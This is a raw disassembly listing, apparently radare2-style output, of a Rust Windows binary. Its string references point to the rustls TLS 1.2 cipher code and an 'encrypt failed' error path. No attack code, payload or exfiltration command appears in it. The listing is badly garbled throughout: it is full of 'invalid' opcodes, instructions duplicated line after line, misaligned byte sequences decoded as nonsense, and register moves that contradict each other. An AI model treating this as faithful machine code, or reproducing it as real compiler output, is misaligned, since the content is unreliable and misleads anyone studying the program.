add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
mov rdx, r12
mov edx, esp
mov r9, r12
call fcn.1a7f1c301d0
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
cmp esi, esi
or eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rcx - 0x48], al
mov r8d, 2
mov eax, 2
add al, byte [rax]
add byte [rax], al
invalid
add bl, ch
mov edx, 0xcccccccc
int3
int3
int3
int3
int3
jmp 0x1a7f1b995cc
int3
int3
int3
int3
int3
int3
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.SizeLimitExhausted
adc eax, 0xbfa9d
mov r8d, 0x12
jmp rax
add byte [rax - 1], cl
loopne case.0x1a7f1b75026.407
int3
int3
int3
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cmp dword [rax], eax
cmp qword [rcx], 0
cmp dword [rcx], 0
je 0x1a7f1b9974e
mov qword [rcx], 1
add dword [rax], eax
add byte [rax], al
mov al, 1
jmp 0x1a7f1b99772
add ebx, ebp
pop rdi
shr eax, 0x12
adc ah, byte [rdi + rax]
adc ah, byte [rdi + rax]
or al, 0xf0
mov byte [rsp + 0x24], al
mov eax, edx
rol cl, 1
call 0x1a7fdf8bb32
invalid
or al, 0x80
mov byte [rsp + 0x25], al
and al, 0x25
rol cl, 1
call 0x1a7fdf8bb32
invalid
or al, 0x80
mov byte [rsp + 0x25], al
and al, 0x25
mov eax, edx
invalid
and al, 0x25
and al, 0x25
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
mov r8d, 4
cmp qword [rcx], 0
jne 0x1a7f1b99708
xor eax, eax
sub qword [rcx + 8], r8
setb al
mov qword [rcx], rax
mov al, 1
jb 0x1a7f1b99772
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [rsp + 0x24]
call qword [rax + 0x18]
nop
add rsp, 0x28
ret
pop rsi
ret
push rdi
sub rsp, 0x258
in al, dx
pop rax
add al, byte [rax]
add byte [rax], al
in al, dx
pop rax
add al, byte [rax]
add byte [rax], al
mov rsi, rdx
add byte [rax], al
mov rsi, rdx
mov esi, edx
lea rcx, [rsp + 0x240]
and al, 0x40
add al, byte [rax]
add byte [rcx + rcx*4 - 0x3e], cl
mov rdx, r8
mov rdx, r8
mov r8, r9
call case.0x1a7f1b91e8c.264
invalid
enter 0x4de8, 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
jl case.0x1a7f1b9b48b.135
lea rdi, [rsp + 0x20]
mov r8d, 0x220
add byte [rax], al
and byte [rcx - 0x48], al
and byte [rdx], al
add byte [rax], al
mov rcx, rdi
mov rdx, rsi
mov edx, esi
call fcn.1a7f1c22170
mov ecx, 0x230
add al, byte [rax]
invalid
mov dword [rax], ecx
mov dword [rax], ecx
add byte [rcx + 0x230], bh
add al, byte [rax]
add byte [rdx + 0x10], bh
mov edx, 0x10
mov edx, 0x10
add byte [rax], al
add al, ch
and dh, bl
fiadd word [rbx]
invalid
call fcn.1a7f1bd765f
fiadd word [rbx]
add byte [rax - 0x77], cl
mov rsi, rax
invalid
invalid
invalid
mov rsi, rax
mov r8d, 0x230
xor byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rax
mov ecx, eax
ror dword [rax - 0x77], 0xfa
mov rdx, rdi
call fcn.1a7f1c22170
sbb eax, 0x48000889
lea rdx, [0x1a7f1c5a530]
lea edx, [0x1a7f1c5a530]
or al, 0
add byte [rax - 0x77], cl
mov rax, rsi
invalid
add rsp, 0x258
add esp, 0x258
invalid
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
sub esp, 0x38
cmp byte [rbp - 0x77], cl
ror dword [rcx - 0x77], 0xd0
lea esi, [rsp + 0x28]
or byte [rax], al
iretd
or al, 0
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
and al, 0x53
mov rdx, r15
mov r8d, ebx
mov r9d, edi
stc
call fcn.1a7f1b99a89
lea rcx, [rbp + 0x10]
adc byte [r9], r14b
shr al, cl
sbb eax, 0x4c0005c4
lea edi, [rsp + 0x60]
add dword [rax], eax
add byte [rax - 0x73], cl
adc byte [r9], r14b
shr al, cl
sbb eax, 0x4c0005c4
lea edi, [rsp + 0x60]
mov qword [r15], rax
mov dword [rdi], eax
mov qword [r15 + 8], rdx
and qword [r15 + 0x10], 0
invalid
or byte [rcx - 0x7d], cl
adc byte [eax], al
invalid
add byte [rcx - 0x75], cl
adc al, 0x24
invalid
mov rdx, qword [r12]
and al, 0x48
add ebp, edx
add rbp, rdx
mov rcx, r15
mov r8, rbp
call fcn.1a7f1b8f97c
mov r12, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r15, [rsp + 0x7f]
mov rcx, r15
mov rdx, r14
lea r8, [rsp + 0x47]
lea r9, [rsp + 0x53]
call fcn.1a7f1b99b67
cmp byte [r15], 0
invalid
je 0x1a7f1b999d3
add byte [rdi + rcx*2 - 0x47], dh
invalid
mov ecx, 0xe
add byte [rax], al
xor edx, edx
call fcn.1a7f1bf5d4d
ret
add eax, 0x65b94800
add byte [rax - 0x47], cl
outsb dx, byte gs:[rsi]
invalid
jb 0x1a7f1b99a10
jo 0x1a7f1b99a0d
invalid
shr al, cl
mov ebp, 0x480005c3
ret
add eax, 0x65b94800
add byte [rax - 0x47], cl
outsb dx, byte gs:[rsi]
invalid
jb 0x1a7f1b99a10
invalid
ret
add byte [rax - 0x47], cl
outsb dx, byte gs:[rsi]
invalid
jo 0x1a7f1b99a0d
je 0x1a7f1b999ba
and byte [rax - 0x77], cl
mov qword [rax], rcx
movabs rcx, 0x64656c6961662074
invalid
invalid
imul ebp, dword [rbp + riz*2 + 0x64], 0x6488948
mov qword fs:[rax + 6], rcx
or byte [rax - 0x47], cl
je 0x1a7f1b999c1
invalid
mov qword fs:[rax + 6], rcx
mov byte [rsi + 8], 0x10
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
mov qword [rsi + 0x18], rdx
mov dword [rsi + 0x18], edx
push rsi
sbb byte [rax - 0x39], cl
and byte [rsi], r9b
mov qword [rsi + 0x20], 0xe
mov rdx, qword [rsp + 0x68]
and byte [rsi], cl
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x68
mov rcx, r12
call fcn.1a7f1bce24f
mov eax, 1
jmp 0x1a7f1b99a1a
movups xmm0, xmmword [rsp + 0x80]
lea rdx, [rsp + 0x90]
movaps xmmword [rdx], xmm0
lea r14, [rsp + 0x60]
mov rcx, r14
call fcn.1a7f1b8fce2
mov rax, qword [r14 + 0x10]
mov qword [rsi + 0x18], rax
movups xmm0, xmmword [r14]
movups xmmword [rsi + 8], xmm0
mov byte [rsi + 0x20], bl
mov byte [rsi + 0x21], dil
jle 0x1a7f1b99a2b
mov word [rsi + 0x22], r13w
movzx eax, word [rsp + 0x44]
outsb dx, byte [rsi]
and cl, byte [rdi]
mov bh, 0x44
and al, 0x44
mov word [rsi + 0x24], ax
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xlatb
mov rsi, rcx
movzx ebx, word [rsp + 0xb0]
mov bh, 0x9c
and al, 0xb0
add byte [rax], al
add byte [rax], al
mov bh, 0x9c
and al, 0xb0
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
movzx r12d, word [rsp + 0xa0]
lea rdi, [rsp + 0x28]
jl 0x1a7f1b99ade
sub byte [rax - 0x7d], cl
add eax, 0xb70f4400
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
jl 0x1a7f1b99ade
sub byte [rax - 0x7d], cl
add eax, 0xb70f4400
lodsb al, byte [rsi]
mov bh, 0xac
and al, 0xa8
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
and qword [rdi], 0
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
or dword [rax + rax], ecx
add byte [rbp + rcx*4 + 5], cl
push rsp
or dword [rax + rax], ecx
mov rcx, rdi
stc
xor edx, edx
call fcn.1a7f1b99bd4
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
mov r8, rdx
mov rcx, r15
ror byte [rcx + rcx*4 - 7], 1
mov rdx, rax
mov edx, eax
call fcn.1a7f1b99beb
add byte [rax], al
mov ecx, r14d
mov edx, ebp
call fcn.1a7f1b99c50
add byte [rax], al
add byte [rax], al
mov byte [rdi + 8], al
mov ecx, r12d
mov edx, r13d
call fcn.1a7f1b99c74
mov ebp, eax
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
mov edx, 9
mov rcx, rdi
call fcn.1a7f1b99bd4
mov r8, rdx
mov ecx, ebp
mov rdx, rax
call fcn.1a7f1b99cb6
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
mov edx, 0xb
mov rcx, rdi
call fcn.1a7f1b99bd4
mov r8, rdx
mov ecx, ebx
mov rdx, rax
call fcn.1a7f1b99cb6
mov rax, qword [rdi]
mov rcx, qword [rdi + 5]
mov qword [rsi + 5], rcx
mov qword [rsi], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and al, 0x2f
mov edx, 0x2b
call fcn.1a7f1c2ff90
ud2
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov bh, 0xc9
lea rdx, [0x1a7f1c9e8dc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov ax, 0x200
add al, bl
ret
mov ax, 0x300
ret
mov ax, 0x301
ret
mov ax, 0x302
ret
mov ax, 0x303
add eax, dword [rbx]
ret
mov ax, 0x304
add al, 3
ret
mov ax, 0xfefd
ret
std
inc bl
mov ax, 0xfefc
cld
inc bl
ret
mov ax, 0xfeff
ret
invalid
inc bl
sub esp, 0x28
mov eax, eax
ror byte [rcx + 0xd8d4cce], 0xb8
sti
or eax, dword [rax]
invalid
lea ecx, [0x1a7f1c59880]
or eax, 0xbfbb8
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
mov rdx, rax
invalid
invalid
mov edx, eax
adc al, 0xfe
push qword [rcx]
dec dword [rax - 0x7d]
cmp rdx, 2
invalid
invalid
invalid
cmp edx, 2
clc
lea edx, [0x1a7f1c59898]
scasb al, byte [rdi]
sti
or eax, dword [rax]
invalid
add byte [rax - 0x77], cl
stc
mov ecx, edi
invalid
add byte [rax], al
rol esi, 8
invalid
in al, dx
cmp byte [rax - 0x7b], cl
leave
je case.0x1a7f1b7491c.493
mov rax, rcx
add rsp, 0x38
ret
mov qword [rsp + 0x20], rdx
lea rcx, [0x1a7f1c8b4ad]
lea r9, [0x1a7f1c59538]
adc al, 0xf8
or eax, dword [rax]
str word [rbp + rcx*4 + 0xd]
adc al, 0xf8
or eax, dword [rax]
lea r8, [rsp + 0x37]
mov edx, 0x2b
call fcn.1a7f1c2ff90
ud2
cmp byte [rax - 0x77], cl
ror byte [rbp + rcx*4 + 0x4c], 1
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
lea ecx, [0x1a7f1c59710]
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
lea ecx, [0x1a7f1c59710]
lea ecx, [0x1a7f1c59710]
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
adc eax, 0xbf9d9
stc
or eax, dword [rax]
lea rdx, str.TryFromSliceError
stc
or eax, dword [rax]
mov r8d, 0x11
adc dword [rax], eax
add byte [rax], al
mov rcx, rax
mov ecx, eax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
invalid
invalid
std
call qword [rax + 0x38c48348]
invalid
invalid
invalid
ret
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, r8
mov edi, eax
mov edi, eax
mov rsi, rcx
mov r12, qword [r8 + 0x10]
cmp r12, 0x10
jae 0x1a7f1b99d9e
invalid
adc eax, esi
or byte [rsi], r8b
mov byte [rsi + 8], 6
mov qword [rsi], 1
add byte [rax], al
mov r14, qword [rdi]
mov esi, dword [rdi]
jmp 0x1a7f1b99e44
add byte [rax], al
mov r14, r9
mov r15, rdx
add rdx, 0x220
ret 0x220
add byte [rax], al
ret 0x220
add byte [rax], al
lea rcx, [rsp + 0x3f]
and al, 0x3f
mov r8, r9
call fcn.1a7f1b99a34
cld
invalid
dec dword [rdx - 0x75bfe7a1]
outsd dx, dword [rsi]
invalid
enter 0x7ce8, 0xfffffffffffffffc
cld
invalid
dec dword [rdx - 0x75bfe7a1]
sbb byte [rax - 0x76], al
mov ch, byte [rdi + 0x19]
outsd dx, dword [rsi]
sbb dword [rdi], ecx
movzx ecx, word [rdi + 0x1a]
invalid
movzx ecx, word [rdi + 0x1a]
movzx edx, word [rdi + 0x1c]
mov bh, 0x57
sbb al, 0x49
lea eax, [rsp - 0x10]
and al, 0xf0
sbb r9b, byte [r15]
mov bh, 0x57
sbb al, 0x49
lea eax, [rsp - 0x10]
and al, 0xf0
and al, 0xf0
mov qword [rsp + 0x30], rax
and al, 0x30
mov word [rsp + 0x3a], dx
push rsp
and al, 0x3a
mov word [rsp + 0x28], dx
push rsp
and al, 0x28
mov word [rsp + 0x3c], cx
and al, 0x3c
mov word [rsp + 0x20], cx
and al, 0x20
lea r13, [rsp + 0x4b]
insb byte [rdi], dx
and al, 0x4b
mov rcx, r13
mov rdx, r14
mov r8d, ebx
mov eax, ebx
jmp 0x1a833ac273d
mov eax, ebx
mov r9d, ebp
call fcn.1a7f1b99a89
mov r14, qword [rdi]
mov qword [rsp + 0x20], r12
and al, 0x20
and al, 0x20
and qword [rsp + 0x28], 0
mov rcx, r15
lea rdx, [rsp + 0x3f]
and al, 0x3f
and al, 0x3f
mov r8, r13
mov r9, r14
call fcn.1a7f1b99e9b
test rax, rax
je 0x1a7f1b99e30
cmp rdx, 0x4000
jbe 0x1a7f1b99e64
add byte [rsi + 0x3a], dh
mov byte [rsi + 8], 0x14
jmp case.0x1a7f1b6fd85.509
mov byte [rsi + 8], 6
and qword [rsi + 0x10], 0
mov qword [rsi + 0x18], rdx
mov qword [rsi], 1
invalid
mov rdx, qword [rdi + 8]
mov rcx, r14
call fcn.1a7f1bce24f
mov rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r12, rdx
jb case.0x1a7f1b7491c.497
mov qword [rdi + 0x10], rdx
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x18], rax
invalid
invalid
sbb byte [rdi], r9b
adc byte [rdi], al
movups xmm0, xmmword [rdi]
movups xmmword [rsi + 8], xmm0
mov byte [rsi + 0x20], bl
mov byte [rsi + 0x21], bpl
movzx eax, word [rsp + 0x3c]
mov word [rsi + 0x22], ax
movzx eax, word [rsp + 0x3a]
mov bh, 0x44
and al, 0x3a
mov bh, 0x44
and al, 0x3a
mov word [rsi + 0x24], ax
and qword [rsi], 0
jmp 0x1a7f1b99e50
movaps xmm0, xmmword [rsp + 0x70]
jo 0x1a7f1b99eee
mov rax, qword [r8]
mov eax, dword [rax]
mov r10, qword [r8 + 5]
mov edx, dword [rax + 5]
lea r8, [rsp + 0x38]
mov qword [r8 + 5], r10
mov qword [r8], rax
mov dword [rax], eax
mov dword [rax], eax
movups xmmword [rsp + 0x28], xmm0
adc dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x20], r9
and al, 0x20
mov r9d, 0xd
call fcn.1a7f1b8fe95
pop rdi
invalid
call qword [rax + 0x48c48348]
add esp, 0x48
add byte [rax], al
add al, ch
leave
pop rdi
invalid
add esp, 0x48
ret
push rdi
push rbx
sub rsp, 0x260
invalid
add al, byte [rax]
add byte [rcx + rcx*4 - 0x31], cl
mov edi, ecx
invalid
mov edi, ecx
iretd
mov rbx, r8
lea rsi, [rsp + 0x30]
je 0x1a7f1b99f0a
xor byte [rcx - 0x48], al
and byte [rdx], al
add byte [rax], al
invalid
mov r8d, 0x220
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
call fcn.1a7f1c22170
or byte [rax], al
lea rcx, [rsp + 0x250]
and dword [rcx], 0
add byte [rax - 0x73], cl
add eax, 0xc0569
add byte [rax - 0x73], cl
add eax, 0xc0569
mov qword [rsp + 0x20], rax
and al, 0x20
mov edx, 4
mov r8, rbx
add byte [rax], al
add byte [rcx - 0x77], cl
fmul dword [rcx - 0x77]
mov r9, rdi
mov r9, rdi
call fcn.1a7f1b66f2f
mov ecx, 0x230
mov edx, 0x10
add al, ch
xor al, 0xd7
add eax, dword [rax]
add al, ch
xor al, 0xd7
add eax, dword [rax]
mov rdi, rax
mov r8d, 0x230
mov eax, 0x230
mov eax, 0x230
mov rcx, rax
mov rdx, rsi
call fcn.1a7f1c22170
lea rdx, [0x1a7f1c5a488]
lea edx, [0x1a7f1c5a488]
lea edx, [0x1a7f1c5a488]
or al, 0
mov rax, rdi
add rsp, 0x260
add al, byte [rax]
add byte [rbx + 0x5f], bl
add al, byte [rax]
add byte [rbx + 0x5f], bl
pop rsi
ret
sub rsp, 0x270
mov rbx, r9
add al, byte [rax]
add byte [rcx + rcx*4 - 0x35], cl
mov r14, r8
mov rsi, rdx
mov rdi, qword [rsp + 0x2c0]
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
and dword [rcx + 8], 0
mov r15, qword [rsp + 0x2c8]
and al, 0xc8
add al, byte [rax]
add byte [rax - 0x7d], cl
and dword [rax], eax
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xc8
add al, byte [rax]
add byte [rax - 0x7d], cl
and dword [rax], eax
lea rdx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
call fcn.1a7f1b9a038
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
invalid
or al, 0
sbb dword [0x1a796a19f9d], eax
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xc0525
invalid
or al, 0
add eax, 0x8948000c
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rax
mov r8, r14
ror dword [rbp - 0x77], 0xf0
mov r9, rbx
mov ecx, ebx
call fcn.1a7f1b66f2f
lea rbx, [rsp + 0x34]
lea ebx, [rsp + 0x34]
iretd
cld
dec dword [rax - 0x73]
lea ebx, [rsp + 0x34]
lea ebx, [rsp + 0x34]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
lea eax, [0x1a7f1c5a4d8]
add eax, 0x8948000c
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rdx + 8], bh
mov edx, 8
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
mov r9, r15
call fcn.1a7f1b66f2f
mov eax, dword [rbx + 4]
add al, 0x48
lea edi, [rsp + 0x40]
jl case.0x1a7f1b91e8c.275
invalid
lea rdi, [rsp + 0x40]
jl case.0x1a7f1b91e8c.275
mov dword [rdi + 0x228], eax
mov dword [rdi + 0x228], eax
sub byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbx - 4]
mov eax, dword [rbx - 4]
cld
mov qword [rdi + 0x220], rax
xchg dword [rax], esp
add al, byte [rax]
add byte [rax], al
invalid
invalid
and byte [rdx], al
add byte [rax], al
mov r8d, 0x220
mov eax, 0x220
and byte [rdx], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
stc
mov rdx, rsi
call fcn.1a7f1c22170
je 0x1a7f1b99f7b
or byte [rax], al
je 0x1a7f1b99f7b
or dword [rax], 0x230b900
or byte [rax], al
mov ecx, 0x230
xor byte [rdx], al
add al, byte [rax]
add byte [rdx + 0x10], bh
adc byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
call fcn.1a7f1bd765f
mov rsi, rax
mov esi, eax
push rsp
invalid
mov esi, eax
mov byte [rcx - 0x48], 0x30
mov r8d, 0x230
mov eax, 0x230
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
ror dword [rax - 0x77], 0xfa
mov rdx, rdi
cli
call fcn.1a7f1c22170
push rcx
or dword [rax], 0x158d4800
retf 0xc04
add al, 0xc
or byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5a4f0]
lea edx, [0x1a7f1c5a4f0]
adc eax, 0xc04ca
add al, 0xc
add byte [rax - 0x77], cl
invalid
invalid
mov rax, rsi
add rsp, 0x270
add al, byte [rax]
invalid
invalid
invalid
add al, byte [rax]
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, edx
mov edx, 0xc
or al, 0
add byte [rax], al
mov r8d, 4
mov eax, 4
jmp fcn.1a7f1b7b1bf
invalid
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov rbp, r9
mov r12, r8
mov r14, rdx
mov rsi, rcx
add rdx, 0x220
add edx, 0x220
add edx, 0x220
add byte [rax], al
lea rcx, [rsp + 0x4c]
mov r8, r9
call fcn.1a7f1b99a34
mov bl, byte [r12 + 0x10]
mov dil, byte [r12 + 0x11]
mov bh, byte [rsp + 0x11]
mov bh, byte [rsp + 0x11]
movzx eax, word [r12 + 0x12]
movzx eax, word [rsp + 0x12]
mov bh, 0x44
and al, 0x12
invalid
adc al, byte [rcx + 0xf]
mov bh, 0x4c
and al, 0x14
movzx ecx, word [r12 + 0x14]
mov r13, qword [r12 + 8]
and al, 8
mov qword [rsp + 0x30], r13
mov word [rsp + 0x40], cx
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x40], ecx
mov word [rsp + 0x28], cx
and al, 0x28
mov word [rsp + 0x42], ax
mov word [rsp + 0x20], ax
and al, 0x20
and al, 0x20
lea rcx, [rsp + 0x73]
and al, 0x73
mov rdx, rbp
mov r8d, ebx
mov r9d, edi
stc
call fcn.1a7f1b99a89
lea rcx, [r13 + 0x18]
sbb byte [r9], r14b
shr al, cl
jge 0x1a7f1b9a08a
add eax, 0x6c8d4800
and al, 0x58
dec dword [rcx - 0x73]
sbb byte [r9], r14b
shr al, cl
jge 0x1a7f1b9a08a
mov esp, 0x8d480005
insb byte [rdi], dx
add eax, 0x6c8d4800
lea ebp, [rsp + 0x58]
and al, 0x58
mov qword [rbp], rax
mov dword [rbp], eax
mov qword [rbp + 8], rdx
and qword [rbp + 0x10], 0
adc byte [rax], al
push rbp
or byte [rax - 0x7d], cl
adc byte gs:[rax], al
adc byte [rax], al
adc byte [rax], al
lea rdx, [rsp + 0x50]
and al, 0x50
lea r15, [rsp + 0x58]
and al, 0x58
mov rcx, rbp
mov r8, r15
call fcn.1a7f1b8f97c
test dword [rax - 1], ebx
dec dword [rcx - 0x75]
adc al, 0x24
test dword [rax - 1], ebx
dec dword [rcx - 0x75]
pop rax
invalid
adc al, 0x24
add r13, rdx
invalid
mov rcx, rbp
mov r8, r13
call 0x1a7f11214f0
inc dword [rcx - 0x75]
cld
call 0x1a7f11214f0
inc dword [rcx - 0x75]
cld
lea r12, [rsp + 0x80]
mov dword [r12 + 8], eax
mov rax, qword [r15 - 0xc]
mov eax, dword [rdi - 0xc]
mov eax, dword [rdi - 0xc]
mov qword [r12], rax
mov rdx, qword [rbp]
mov edx, dword [rbp]
mov edx, dword [rbp]
add byte [rbx + rcx*4 + 0x45], cl
adc byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
invalid
jg case.0x1a7f1b92526.491
mov r8, qword [rbp + 0x10]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
or al, 0
mov ecx, 8
add byte [rax], al
add al, ch
add byte [rax], al
call fcn.1a7f1b835a2
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
xchg esp, eax
invalid
mov dword [rsp + 0x28], edx
push rsp
and al, 0x28
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rbp + rcx*4 - 0x44], cl
and al, 0x97
add byte [rax], al
add byte [rax], al
mov rcx, r15
lea r15, [rsp + 0x97]
lea edi, [rsp + 0x97]
add byte [rax], al
mov rcx, r15
mov rdx, r14
mov edx, esi
mov r8, r12
lea r9, [rsp + 0x73]
and al, 0x73
loopne case.0x1a7f1b8f880.307
lea ecx, [rsp + 0x73]
and al, 0x73
and al, 0x73
jae 0x1a7f1b9a144
call fcn.1a7f1b99b67
cmp byte [r15], 0
invalid
inc dword [rcx - 0x80]
invalid
je 0x1a7f1b9a1c7
mov ecx, 0xe
add byte [rax], al
xor edx, edx
call fcn.1a7f1bf5d4d
movabs rcx, 0x2074707972636e65
mov ecx, 0x72636e65
jns case.0x1a7f1b75026.460
je 0x1a7f1b9a19c
fstp xword [rbx - 0x46b7fffb]
add byte [rax - 0x47], cl
mov ecx, 0x72636e65
outsb dx, byte gs:[rsi]
invalid
jns case.0x1a7f1b75026.460
je 0x1a7f1b9a19c
and byte [rax - 0x77], cl
or byte [rax - 0x47], cl
mov qword [rax], rcx
mov dword [rax], ecx
movabs rcx, 0x64656c6961662074
mov qword [rax + 6], rcx
je case.0x1a7f1b8f880.307
invalid
mov qword fs:[rax + 6], rcx
mov ecx, dword [rsp + 0x45]
and al, 0x45
mov r8d, dword [rsp + 0x48]
mov dword [rsi + 0xc], r8d
mov dword [rsi + 9], ecx
or al, 0x89
or al, 0x89
or rsi, r8
or esi, eax
mov byte [rsi + 8], 0x10
or byte [rax], r10b
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], 0xe
invalid
add byte [rax], al
invalid
adc byte [rax - 0x77], r9b
push rsi
sbb byte [rax - 0x39], cl
and byte [rsi], r9b
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
invalid
mov rcx, qword [rsp + 0x58]
and al, 0x58
mov rdx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
push rsp
and al, 0x60
call fcn.1a7f1bce24f
mov eax, 1
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
movups xmm0, xmmword [r12 + r12 + 0x98]
adc byte [rsp + 0x98], al
add byte [rax], al
jmp 0x1a7f1b9a212
movups xmm0, xmmword [rsp + 0x98]
adc byte [rsp + 0x98], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], 0
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rdx], eax
movaps xmmword [rdx], xmm0
lea r14, [rsp + 0x58]
mov rcx, r14
call fcn.1a7f1b8fce2
sti
pop rdx
invalid
mov rax, qword [r14 + 0x10]
mov eax, dword [rsi + 0x10]
adc byte [rax - 0x77], r9b
adc byte [rax - 0x77], cl
mov qword [rsi + 0x18], rax
movups xmm0, xmmword [r14]
invalid
sbb byte [rcx + 0xf], r8b
adc byte [rsi], al
invalid
invalid
movups xmmword [rsi + 8], xmm0
mov byte [rsi + 0x20], bl
mov byte [rsi + 0x21], dil
movzx eax, word [rsp + 0x42]
mov bh, 0x44
and al, 0x42
mov bh, 0x44
and al, 0x42
mov word [rsi + 0x22], ax
movzx eax, word [rsp + 0x40]
mov word [rsi + 0x24], ax
mov dword [rsi + 0x24], eax
mov dword [rsi + 0x24], eax
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
push rdi
push rbp
push rbx
sub rsp, 0x88
mov rdi, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov rbp, qword [r8 + 0x10]
cmp rbp, 0x18
jae 0x1a7f1b9a262
mov byte [rsi + 8], 6
or byte [rsi], r8b
mov qword [rsi], 1
mov rbx, qword [rdi]
jmp 0x1a7f1b9a38d
invalid
mov r14, rdx
mov esi, edx
lea rcx, [rsp + 0x58]
and dword [rcx + 8], 0
invalid
or byte [rax], al
add byte [rax - 0x7d], cl
and dword [rax], eax
invalid
add byte [rax - 0x7d], cl
and dword [rax], eax
